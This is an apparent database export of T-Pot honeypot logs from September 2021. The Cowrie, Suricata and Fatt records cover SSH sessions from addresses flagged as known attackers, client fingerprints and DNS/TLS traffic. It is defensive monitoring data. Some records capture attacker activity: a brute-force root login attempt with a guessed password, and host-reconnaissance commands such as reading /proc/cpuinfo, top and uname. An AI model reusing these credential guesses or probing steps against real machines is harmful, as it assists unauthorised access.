31307	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:44:05.348582+03	2021-09-20 14:45:04.316143+03	{"_id": "OwYFA3wBvYTbRNuENkOg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "edc43aa3aa69", "@version": "1", "timestamp": "2021-09-20T11:44:05.348582Z", "@timestamp": "2021-09-20T11:44:05.348Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
31308	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:05.583692+03	2021-09-20 14:45:04.318143+03	{"_id": "PAYFA3wBvYTbRNuENkOg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "85a1133be76b", "@version": "1", "duration": 2.3942761421203613, "timestamp": "2021-09-20T11:44:05.583692Z", "@timestamp": "2021-09-20T11:44:05.583Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31309	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:44:05.347869+03	2021-09-20 14:45:04.319142+03	{"_id": "PQYFA3wBvYTbRNuEOENW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "flow_id": 641034405289590, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55516, "dest_port": 22, "timestamp": "2021-09-20T11:44:05.347869Z", "@timestamp": "2021-09-20T11:44:05.347Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
31310	159.89.194.160	109.199.241.180	Fatt	2021-09-20 14:44:05.347964+03	2021-09-20 14:45:04.320143+03	{"_id": "QAYFA3wBvYTbRNuEOUNL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "159.89.194.160", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 55516, "dest_port": 22, "timestamp": "2021-09-20T11:44:05.347964", "@timestamp": "2021-09-20T11:44:05.347Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
31311	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:05.888394+03	2021-09-20 14:45:04.321142+03	{"_id": "QQYFA3wBvYTbRNuEOkOH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:05.888394Z", "@timestamp": "2021-09-20T11:44:05.888Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31319	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:44:01.128661+03	2021-09-20 14:45:04.331142+03	{"_id": "HQYFA3wBvYTbRNuEJ0MD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "f7d7d982bb43", "@version": "1", "duration": 5.43890380859375, "timestamp": "2021-09-20T11:44:01.128661Z", "@timestamp": "2021-09-20T11:44:01.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
31312	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:43:59.844496+03	2021-09-20 14:45:04.322141+03	{"_id": "CAYFA3wBvYTbRNuEIEPj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 25589, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 7, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 759268412218434, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 56850, "timestamp": "2021-09-20T11:43:59.844496Z", "@timestamp": "2021-09-20T11:43:59.844Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31313	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:43:59.357227+03	2021-09-20 14:45:04.324142+03	{"_id": "DgYFA3wBvYTbRNuEIUPY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35588, "dest_port": 443, "timestamp": "2021-09-20T11:43:59.357227", "@timestamp": "2021-09-20T11:43:59.357Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31314	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:43:59.946894+03	2021-09-20 14:45:04.325142+03	{"_id": "EAYFA3wBvYTbRNuEIUPY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35590, "timestamp": "2021-09-20T11:43:59.946894", "@timestamp": "2021-09-20T11:43:59.946Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
31315	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:43:59.867027+03	2021-09-20 14:45:04.326142+03	{"_id": "FgYFA3wBvYTbRNuEI0MT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/510326mazda] failed", "session": "f7d7d982bb43", "@version": "1", "password": "510326mazda", "username": "root", "timestamp": "2021-09-20T11:43:59.867027Z", "@timestamp": "2021-09-20T11:43:59.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
31316	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:43:59.842818+03	2021-09-20 14:45:04.327142+03	{"_id": "CQYFA3wBvYTbRNuEIEPj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 25589, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 759268412218434, "@version": "1", "in_iface": "enp5s0", "src_port": 56850, "dest_port": 53, "timestamp": "2021-09-20T11:43:59.842818Z", "@timestamp": "2021-09-20T11:43:59.842Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
31317	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:43:37.000336+03	2021-09-20 14:45:04.328142+03	{"_id": "CgYFA3wBvYTbRNuEIEPj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:42:35.660226+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 733045483836162, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 50099, "timestamp": "2021-09-20T11:43:37.000336Z", "@timestamp": "2021-09-20T11:43:37.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
31320	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:01.608866+03	2021-09-20 14:45:04.332142+03	{"_id": "HgYFA3wBvYTbRNuEJ0MD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d8a32464a4ea", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:44:01.608866Z", "@timestamp": "2021-09-20T11:44:01.608Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
31321	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:12.033057+03	2021-09-20 14:45:04.333142+03	{"_id": "YAYFA3wBvYTbRNuEUUP6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.session.params", "message": [], "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:12.033057Z", "@timestamp": "2021-09-20T11:44:12.033Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
31322	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:12.780045+03	2021-09-20 14:45:04.334142+03	{"_id": "ZgYFA3wBvYTbRNuEVUPl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:12.780045Z", "@timestamp": "2021-09-20T11:44:12.780Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31323	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:13.560028+03	2021-09-20 14:45:04.336142+03	{"_id": "ZQYFA3wBvYTbRNuEVUPl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:13.560028Z", "@timestamp": "2021-09-20T11:44:13.560Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
31324	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:13.990682+03	2021-09-20 14:45:04.337142+03	{"_id": "aAYFA3wBvYTbRNuEWUPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "150.109.115.128", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "d8a32464a4ea", "@version": "1", "duration": 0.4312708377838135, "duplicate": true, "timestamp": "2021-09-20T11:44:13.990682Z", "@timestamp": "2021-09-20T11:44:13.990Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
31325	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:44:14.350701+03	2021-09-20 14:45:04.338141+03	{"_id": "agYFA3wBvYTbRNuEWUPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "d8a32464a4ea", "@version": "1", "timestamp": "2021-09-20T11:44:14.350701Z", "@timestamp": "2021-09-20T11:44:14.350Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
44352	87.255.215.173	109.199.241.180	Cowrie	2021-09-20 16:35:23.130899+03	2021-09-20 16:45:01.543564+03	{"_id": "IQZrA3wBvYTbRNuEGqfl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.255.215.173", "asn": 39188, "as_org": "ICON LTD", "latitude": 48.0, "location": {"lat": 48.0, "lon": 68.0}, "timezone": "Asia/Almaty", "longitude": 68.0, "country_name": "Kazakhstan", "country_code2": "KZ", "country_code3": "KZ", "continent_code": "AS"}, "input": "uname", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.255.215.173", "eventid": "cowrie.command.input", "message": "CMD: uname", "session": "a1a8232548b8", "@version": "1", "timestamp": "2021-09-20T13:35:23.130899Z", "@timestamp": "2021-09-20T13:35:23.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	KZ
31328	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:44:15.42834+03	2021-09-20 14:45:04.342142+03	{"_id": "eAYFA3wBvYTbRNuEYENg", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "117.22.230.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2132, "timestamp": "2021-09-20T11:44:15.428340", "@timestamp": "2021-09-20T11:44:15.428Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
